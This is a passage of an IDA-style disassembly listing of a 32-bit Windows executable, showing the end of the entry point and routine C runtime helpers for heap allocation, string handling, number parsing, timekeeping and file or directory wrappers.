loc_40ADBB:				; CODE XREF: start+15j
		mov	al, [esi]
		push	edi
		mov	edi, ds:CharNextA
		cmp	al, 22h
		jnz	short loc_40ADE3


loc_40ADC8:				; CODE XREF: start+35j
		push	esi		; lpsz
		call	edi ; CharNextA
		mov	esi, eax
		mov	al, [esi]
		cmp	al, 22h
		jz	short loc_40ADD7
		test	al, al
		jnz	short loc_40ADC8


loc_40ADD7:				; CODE XREF: start+31j
		cmp	byte ptr [esi],	22h
		jnz	short loc_40ADF1
		push	esi		; lpsz
		call	edi ; CharNextA
		mov	esi, eax
		jmp	short loc_40ADF1
; ---------------------------------------------------------------------------


loc_40ADE3:				; CODE XREF: start+26j
		cmp	al, 20h
		jle	short loc_40ADF1


loc_40ADE7:				; CODE XREF: start+4Fj
		push	esi		; lpsz
		call	edi ; CharNextA
		mov	esi, eax
		cmp	byte ptr [esi],	20h
		jg	short loc_40ADE7


loc_40ADF1:				; CODE XREF: start+3Aj	start+41j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_40AE06


loc_40ADF7:				; CODE XREF: start+64j
		cmp	al, 20h
		jg	short loc_40AE06
		push	esi		; lpsz
		call	edi ; CharNextA
		mov	esi, eax
		mov	al, [esi]
		test	al, al
		jnz	short loc_40ADF7


loc_40AE06:				; CODE XREF: start+55j	start+59j
		lea	eax, [esp+50h+StartupInfo]
		mov	[esp+50h+StartupInfo.dwFlags], 0
		push	eax		; lpStartupInfo
		call	ds:GetStartupInfoA	; GetStartupInfoA
		mov	al, byte ptr [esp+50h+StartupInfo.dwFlags]
		pop	edi
		test	al, 1
		jz	short loc_40AE2D
		mov	eax, dword ptr [esp+4Ch+StartupInfo.wShowWindow]
		and	eax, 0FFFFh
		jmp	short loc_40AE32
; ---------------------------------------------------------------------------


loc_40AE2D:				; CODE XREF: start+80j
		mov	eax, 0Ah


loc_40AE32:				; CODE XREF: start+8Bj
		push	eax		; int
		push	esi		; int
		push	0		; int
		push	0		; lpModuleName
		call	ds:GetModuleHandleA	; GetModuleHandleA
		push	eax		; hInstance
		call	sub_4010C0
		push	eax		; uExitCode
		call	ebx ; ExitProcess
start		endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40AE50(SIZE_T	dwBytes)

sub_40AE50	proc near		; CODE XREF: sub_404540+13p
					; sub_408E00+2Fp ...

dwBytes		= dword	ptr  4

		mov	edx, dwFlags
		push	esi
		test	edx, edx
		jnz	short loc_40AE70
		mov	eax, [esp+4+dwBytes]
		mov	ecx, hHeap
		push	eax		; dwBytes
		push	edx		; dwFlags
		push	ecx		; hHeap
		call	ds:HeapAlloc
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AE70:				; CODE XREF: sub_40AE50+9j
		mov	eax, dword_40FB5C
		mov	ecx, eax
		inc	eax
		mov	dword_40FB5C, eax
		mov	eax, dword_40FB54
		and	eax, ecx
		mov	ecx, [esp+4+dwBytes]
		add	ecx, 8
		mov	esi, [edx+eax*4]
		push	ecx		; dwBytes
		push	0		; dwFlags
		push	esi		; hHeap
		call	ds:HeapAlloc
		test	eax, eax
		jz	short loc_40AEA3
		mov	[eax], esi
		add	eax, 8
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AEA3:				; CODE XREF: sub_40AE50+4Aj
		xor	eax, eax
		pop	esi
		retn
sub_40AE50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40AEB0(LPVOID	lpMem,SIZE_T dwBytes)

sub_40AEB0	proc near		; CODE XREF: sub_401620+A1p

lpMem		= dword	ptr  4
dwBytes		= dword	ptr  8

		mov	eax, [esp+lpMem]
		test	eax, eax
		jnz	short loc_40AEC6
		mov	eax, [esp+dwBytes]
		push	eax		; dwBytes
		call	sub_40AE50
		add	esp, 4
		retn
; ---------------------------------------------------------------------------


loc_40AEC6:				; CODE XREF: sub_40AEB0+6j
		mov	ecx, dwFlags
		test	ecx, ecx
		jnz	short loc_40AEE6
		mov	ecx, [esp+dwBytes]
		mov	edx, hHeap
		push	ecx		; dwBytes
		push	eax		; lpMem
		push	0		; dwFlags
		push	edx		; hHeap
		call	ds:HeapReAlloc
		retn
; ---------------------------------------------------------------------------


loc_40AEE6:				; CODE XREF: sub_40AEB0+1Ej
		mov	ecx, [esp+dwBytes]
		mov	edx, [eax-8]
		add	eax, 0FFFFFFF8h
		add	ecx, 8
		push	ecx		; dwBytes
		push	eax		; lpMem
		push	0		; dwFlags
		push	edx		; hHeap
		call	ds:HeapReAlloc
		test	eax, eax
		jz	short loc_40AF06
		add	eax, 8
		retn
; ---------------------------------------------------------------------------


loc_40AF06:				; CODE XREF: sub_40AEB0+50j
		xor	eax, eax
		retn
sub_40AEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40AF10(LPVOID	lpMem)

sub_40AF10	proc near		; CODE XREF: sub_4015D0+42p
					; sub_4039C0+89Ep ...

lpMem		= dword	ptr  4

		mov	eax, dwFlags
		test	eax, eax
		jnz	short loc_40AF2E
		mov	eax, [esp+lpMem]
		mov	ecx, hHeap
		push	eax		; lpMem
		push	0		; dwFlags
		push	ecx		; hHeap
		call	ds:HeapFree
		retn
; ---------------------------------------------------------------------------


loc_40AF2E:				; CODE XREF: sub_40AF10+7j
		mov	edx, [esp+lpMem]
		lea	eax, [edx-8]
		push	eax		; lpMem
		push	0		; dwFlags
		mov	eax, [eax]
		push	eax		; hHeap
		call	ds:HeapFree
		retn
sub_40AF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40AF50(SIZE_T	dwBytes)

sub_40AF50	proc near		; CODE XREF: sub_4010C0+394p
					; sub_401620+Fp ...

dwBytes		= dword	ptr  4

		mov	eax, [esp+dwBytes]
		push	eax		; dwBytes
		call	sub_40AE50
		add	esp, 4
		retn
sub_40AF50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40AF60(LPVOID	lpMem)

sub_40AF60	proc near		; CODE XREF: sub_4015D0+26p
					; sub_401620+DAp ...

lpMem		= dword	ptr  4

		mov	eax, [esp+lpMem]
		push	eax		; lpMem
		call	sub_40AF10
		pop	ecx
		retn
sub_40AF60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40AF70	proc near		; CODE XREF: sub_4010C0+1F0p
					; sub_4010C0+21Bp ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_40AF90


loc_40AF7C:				; CODE XREF: sub_40AF70+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_40AF7C


loc_40AF90:				; CODE XREF: sub_40AF70+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_40AF70	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40AF9F(UINT uExitCode)

sub_40AF9F	proc near		; CODE XREF: sub_4036E0+236p

uExitCode	= dword	ptr  4

		push	0		; int
		push	0		; int
		push	[esp+8+uExitCode] ; uExitCode
		call	sub_40AFB0
		add	esp, 0Ch
		retn
sub_40AF9F	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40AFB0(UINT uExitCode,int,int)

sub_40AFB0	proc near		; CODE XREF: sub_40AF9F+8p

uExitCode	= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_40FC28, edi
		jnz	short loc_40AFCD
		push	[esp+4+uExitCode] ; uExitCode
		call	ds:GetCurrentProcess	; GetCurrentProcess
		push	eax		; hProcess
		call	ds:TerminateProcess	; TerminateProcess


loc_40AFCD:				; CODE XREF: sub_40AFB0+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_40FC24, edi
		mov	byte_40FC20, bl
		jnz	short loc_40B021
		mov	eax, dword_40FC68
		test	eax, eax
		jz	short loc_40B010
		mov	ecx, dword_40FC64
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_40B00F


loc_40AFFC:				; CODE XREF: sub_40AFB0+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40B004
		call	eax


loc_40B004:				; CODE XREF: sub_40AFB0+50j
		sub	esi, 4
		cmp	esi, dword_40FC68
		jnb	short loc_40AFFC


loc_40B00F:				; CODE XREF: sub_40AFB0+4Aj
		pop	esi


loc_40B010:				; CODE XREF: sub_40AFB0+3Cj
		push	offset dword_40F018
		push	offset dword_40F014
		call	sub_40B049
		pop	ecx
		pop	ecx


loc_40B021:				; CODE XREF: sub_40AFB0+33j
		push	offset dword_40F020
		push	offset dword_40F01C
		call	sub_40B049
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_40B047
		push	[esp+4+uExitCode] ; uExitCode
		mov	dword_40FC28, edi
		call	ds:ExitProcess	; ExitProcess
; ---------------------------------------------------------------------------


loc_40B047:				; CODE XREF: sub_40AFB0+85j
		pop	edi
		retn
sub_40AFB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B049	proc near		; CODE XREF: sub_40AFB0+6Ap
					; sub_40AFB0+7Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_40B04E:				; CODE XREF: sub_40B049+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_40B061
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40B05C
		call	eax


loc_40B05C:				; CODE XREF: sub_40B049+Fj
		add	esi, 4
		jmp	short loc_40B04E
; ---------------------------------------------------------------------------


loc_40B061:				; CODE XREF: sub_40B049+9j
		pop	esi
		retn
sub_40B049	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B070	proc near		; CODE XREF: sub_4036E0+170p
					; sub_4036E0+1D0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_40B0F3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_40B094
		shr	ecx, 2
		jnz	short loc_40B101
		jmp	short loc_40B0B5
; ---------------------------------------------------------------------------


loc_40B094:				; CODE XREF: sub_40B070+1Bj
					; sub_40B070+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_40B0C2
		test	al, al
		jz	short loc_40B0CA
		test	esi, 3
		jnz	short loc_40B094
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40B101


loc_40B0B0:				; CODE XREF: sub_40B070+8Fj
		and	ebx, 3
		jz	short loc_40B0C2


loc_40B0B5:				; CODE XREF: sub_40B070+22j
					; sub_40B070+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_40B0EE
		dec	ebx
		jnz	short loc_40B0B5


loc_40B0C2:				; CODE XREF: sub_40B070+2Bj
					; sub_40B070+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40B0CA:				; CODE XREF: sub_40B070+2Fj
		test	edi, 3
		jz	short loc_40B0E4


loc_40B0D2:				; CODE XREF: sub_40B070+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_40B166
		test	edi, 3
		jnz	short loc_40B0D2


loc_40B0E4:				; CODE XREF: sub_40B070+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40B157


loc_40B0EB:				; CODE XREF: sub_40B070+7Fj
					; sub_40B070+F4j
		mov	[edi], al
		inc	edi


loc_40B0EE:				; CODE XREF: sub_40B070+4Dj
		dec	ebx
		jnz	short loc_40B0EB
		pop	ebx
		pop	esi


loc_40B0F3:				; CODE XREF: sub_40B070+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40B0F9:				; CODE XREF: sub_40B070+A9j
					; sub_40B070+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_40B0B0


loc_40B101:				; CODE XREF: sub_40B070+20j
					; sub_40B070+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_40B0F9
		test	dl, dl
		jz	short loc_40B14B
		test	dh, dh
		jz	short loc_40B141
		test	edx, 0FF0000h
		jz	short loc_40B137
		test	edx, 0FF000000h
		jnz	short loc_40B0F9
		mov	[edi], edx
		jmp	short loc_40B14F
; ---------------------------------------------------------------------------


loc_40B137:				; CODE XREF: sub_40B070+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_40B14F
; ---------------------------------------------------------------------------


loc_40B141:				; CODE XREF: sub_40B070+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_40B14F
; ---------------------------------------------------------------------------


loc_40B14B:				; CODE XREF: sub_40B070+ADj
		xor	edx, edx
		mov	[edi], edx


loc_40B14F:				; CODE XREF: sub_40B070+C5j
					; sub_40B070+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_40B161


loc_40B157:				; CODE XREF: sub_40B070+79j
		xor	eax, eax


loc_40B159:				; CODE XREF: sub_40B070+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_40B159


loc_40B161:				; CODE XREF: sub_40B070+E5j
		and	ebx, 3
		jnz	short loc_40B0EB


loc_40B166:				; CODE XREF: sub_40B070+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40B070	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B16E(LPCSTR	lpPathName)

sub_40B16E	proc near		; CODE XREF: sub_4039C0+452p

lpPathName	= dword	ptr  4

		push	0		; lpSecurityAttributes
		push	[esp+4+lpPathName] ; lpPathName
		call	ds:CreateDirectoryA	; CreateDirectoryA
		test	eax, eax
		jnz	short loc_40B186
		call	ds:GetLastError
		jmp	short loc_40B188
; ---------------------------------------------------------------------------


loc_40B186:				; CODE XREF: sub_40B16E+Ej
		xor	eax, eax


loc_40B188:				; CODE XREF: sub_40B16E+16j
		test	eax, eax
		jz	short loc_40B197
		push	eax
		call	sub_40B575
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40B197:				; CODE XREF: sub_40B16E+1Cj
		xor	eax, eax
		retn
sub_40B16E	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_40B1B0


loc_40B1A0:				; CODE XREF: sub_40B1B0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_40B1B0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B1B0	proc near		; CODE XREF: sub_4051A0+1F1p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0040B1A0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_40B1DB


loc_40B1C8:				; CODE XREF: sub_40B1B0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_40B1A0
		test	cl, cl
		jz	short loc_40B224
		test	edx, 3
		jnz	short loc_40B1C8


loc_40B1DB:				; CODE XREF: sub_40B1B0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_40B1E6:				; CODE XREF: sub_40B1B0+61j
					; sub_40B1B0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_40B228
		and	eax, 81010100h
		jz	short loc_40B1E6
		and	eax, 1010100h
		jnz	short loc_40B222
		and	esi, 80000000h
		jnz	short loc_40B1E6


loc_40B222:				; CODE XREF: sub_40B1B0+68j
					; sub_40B1B0+81j ...
		pop	esi
		pop	edi


loc_40B224:				; CODE XREF: sub_40B1B0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40B228:				; CODE XREF: sub_40B1B0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_40B265
		test	al, al
		jz	short loc_40B222
		cmp	ah, bl
		jz	short loc_40B25E
		test	ah, ah
		jz	short loc_40B222
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_40B257
		test	al, al
		jz	short loc_40B222
		cmp	ah, bl
		jz	short loc_40B250
		test	ah, ah
		jz	short loc_40B222
		jmp	short loc_40B1E6
; ---------------------------------------------------------------------------


loc_40B250:				; CODE XREF: sub_40B1B0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40B257:				; CODE XREF: sub_40B1B0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40B25E:				; CODE XREF: sub_40B1B0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40B265:				; CODE XREF: sub_40B1B0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_40B1B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B26C	proc near		; CODE XREF: sub_405830+1FBp
					; sub_408FC0+168p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_40B283
		add	esp, 10h
		retn
sub_40B26C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B283	proc near		; CODE XREF: sub_40B26C+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_40B29B:				; CODE XREF: sub_40B283+46j
		cmp	dword_40FAC4, 1
		jle	short loc_40B2B3
		movzx	eax, bl
		push	8		; int
		push	eax		; CharType
		call	sub_40B6A8
		pop	ecx
		pop	ecx
		jmp	short loc_40B2C2
; ---------------------------------------------------------------------------


loc_40B2B3:				; CODE XREF: sub_40B283+1Fj
		mov	ecx, off_40F8B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_40B2C2:				; CODE XREF: sub_40B283+2Ej
		test	eax, eax
		jz	short loc_40B2CB
		mov	bl, [esi]
		inc	esi
		jmp	short loc_40B29B
; ---------------------------------------------------------------------------


loc_40B2CB:				; CODE XREF: sub_40B283+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_40B2D9
		or	[ebp+arg_C], 2
		jmp	short loc_40B2DE
; ---------------------------------------------------------------------------


loc_40B2D9:				; CODE XREF: sub_40B283+4Ej
		cmp	bl, 2Bh
		jnz	short loc_40B2E4


loc_40B2DE:				; CODE XREF: sub_40B283+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_40B2E4:				; CODE XREF: sub_40B283+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_40B47B
		cmp	eax, 1
		jz	loc_40B47B
		cmp	eax, 24h
		jg	loc_40B47B
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_40B32C
		cmp	bl, 30h
		jz	short loc_40B316
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_40B348
; ---------------------------------------------------------------------------


loc_40B316:				; CODE XREF: sub_40B283+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_40B329
		cmp	al, 58h
		jz	short loc_40B329
		mov	[ebp+arg_8], 8
		jmp	short loc_40B348
; ---------------------------------------------------------------------------


loc_40B329:				; CODE XREF: sub_40B283+97j
					; sub_40B283+9Bj
		mov	[ebp+arg_8], ecx


loc_40B32C:				; CODE XREF: sub_40B283+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_40B348
		cmp	bl, 30h
		jnz	short loc_40B348
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_40B340
		cmp	al, 58h
		jnz	short loc_40B348


loc_40B340:				; CODE XREF: sub_40B283+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_40B348:				; CODE XREF: sub_40B283+91j
					; sub_40B283+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_40B358:				; CODE XREF: sub_40B283+16Cj
		cmp	dword_40FAC4, 1
		movzx	esi, bl
		jle	short loc_40B370
		push	4		; int
		push	esi		; CharType
		call	sub_40B6A8
		pop	ecx
		pop	ecx
		jmp	short loc_40B37B
; ---------------------------------------------------------------------------


loc_40B370:				; CODE XREF: sub_40B283+DFj
		mov	eax, off_40F8B8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_40B37B:				; CODE XREF: sub_40B283+EBj
		test	eax, eax
		jz	short loc_40B387
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_40B3B9
; ---------------------------------------------------------------------------


loc_40B387:				; CODE XREF: sub_40B283+FAj
		cmp	dword_40FAC4, 1
		jle	short loc_40B39B
		push	edi		; int
		push	esi		; CharType
		call	sub_40B6A8
		pop	ecx
		pop	ecx
		jmp	short loc_40B3A6
; ---------------------------------------------------------------------------


loc_40B39B:				; CODE XREF: sub_40B283+10Bj
		mov	eax, off_40F8B8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_40B3A6:				; CODE XREF: sub_40B283+116j
		test	eax, eax
		jz	short loc_40B3F4
		movsx	eax, bl
		push	eax		; CharType
		call	sub_40B5DC
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_40B3B9:				; CODE XREF: sub_40B283+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_40B3F4
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_40B3DE
		jnz	short loc_40B3D8
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_40B3DE


loc_40B3D8:				; CODE XREF: sub_40B283+147j
		or	[ebp+arg_C], 4
		jmp	short loc_40B3E7
; ---------------------------------------------------------------------------


loc_40B3DE:				; CODE XREF: sub_40B283+145j
					; sub_40B283+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_40B3E7:				; CODE XREF: sub_40B283+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_40B358
; ---------------------------------------------------------------------------


loc_40B3F4:				; CODE XREF: sub_40B283+125j
					; sub_40B283+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_40B412
		test	edx, edx
		jz	short loc_40B40C
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_40B40C:				; CODE XREF: sub_40B283+181j
		and	[ebp+var_8], 0
		jmp	short loc_40B45F
; ---------------------------------------------------------------------------


loc_40B412:				; CODE XREF: sub_40B283+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_40B438
		test	cl, 1
		jnz	short loc_40B45F
		and	ecx, 2
		jz	short loc_40B42F
		cmp	[ebp+var_8], 80000000h
		ja	short loc_40B438


loc_40B42F:				; CODE XREF: sub_40B283+1A1j
		test	ecx, ecx
		jnz	short loc_40B45F
		cmp	[ebp+var_8], eax
		jbe	short loc_40B45F


loc_40B438:				; CODE XREF: sub_40B283+197j
					; sub_40B283+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_40FBE0, 22h
		jz	short loc_40B44E
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_40B45F
; ---------------------------------------------------------------------------


loc_40B44E:				; CODE XREF: sub_40B283+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_40B45F:				; CODE XREF: sub_40B283+18Dj
					; sub_40B283+19Cj ...
		test	edx, edx
		jz	short loc_40B468
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_40B468:				; CODE XREF: sub_40B283+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_40B476
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_40B476:				; CODE XREF: sub_40B283+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_40B486
; ---------------------------------------------------------------------------


loc_40B47B:				; CODE XREF: sub_40B283+66j
					; sub_40B283+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_40B484
		mov	[eax], edi


loc_40B484:				; CODE XREF: sub_40B283+1FDj
		xor	eax, eax


loc_40B486:				; CODE XREF: sub_40B283+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B283	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B490	proc near		; CODE XREF: sub_406E60+17Bp
					; sub_406E60+1A1p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_40B4C1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_40B4BF
		jz	short loc_40B4C1
		dec	ecx
		dec	ecx


loc_40B4BF:				; CODE XREF: sub_40B490+29j
		not	ecx


loc_40B4C1:				; CODE XREF: sub_40B490+9j
					; sub_40B490+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_40B490	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4C8	proc near		; CODE XREF: sub_409DA0+64p
					; sub_409DA0+1B5p ...

SystemTimeAsFileTime= _FILETIME	ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+SystemTimeAsFileTime]
		push	edi
		push	eax		; lpSystemTimeAsFileTime
		call	ds:GetSystemTimeAsFileTime	; GetSystemTimeAsFileTime
		push	1
		push	0
		push	0
		push	[ebp+SystemTimeAsFileTime.dwHighDateTime]
		call	sub_40B790
		sub	eax, dword_40FC30
		mov	ecx, [ebp+SystemTimeAsFileTime.dwLowDateTime]
		sbb	edx, dword_40FC34
		xor	edi, edi
		add	eax, ecx
		push	edi
		adc	edx, edi
		push	2710h
		push	edx
		push	eax
		call	sub_40B720
		pop	edi
		leave
		retn
sub_40B4C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B50B	proc near		; DATA XREF: .data:0040F00Co

SystemTimeAsFileTime= _FILETIME	ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+SystemTimeAsFileTime]
		push	esi
		push	eax		; lpSystemTimeAsFileTime
		call	ds:GetSystemTimeAsFileTime	; GetSystemTimeAsFileTime
		push	1
		push	0
		push	0
		push	[ebp+SystemTimeAsFileTime.dwHighDateTime]
		call	sub_40B790
		mov	ecx, [ebp+SystemTimeAsFileTime.dwLowDateTime]
		xor	esi, esi
		add	eax, ecx
		adc	edx, esi
		mov	dword_40FC30, eax
		mov	dword_40FC34, edx
		pop	esi
		leave
		retn
sub_40B50B	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B540(LPCSTR	lpFileName)

sub_40B540	proc near		; CODE XREF: sub_40B56A+4p

lpFileName	= dword	ptr  4

		push	[esp+lpFileName] ; lpFileName
		call	ds:DeleteFileA	; DeleteFileA
		test	eax, eax
		jnz	short loc_40B556
		call	ds:GetLastError
		jmp	short loc_40B558
; ---------------------------------------------------------------------------


loc_40B556:				; CODE XREF: sub_40B540+Cj
		xor	eax, eax


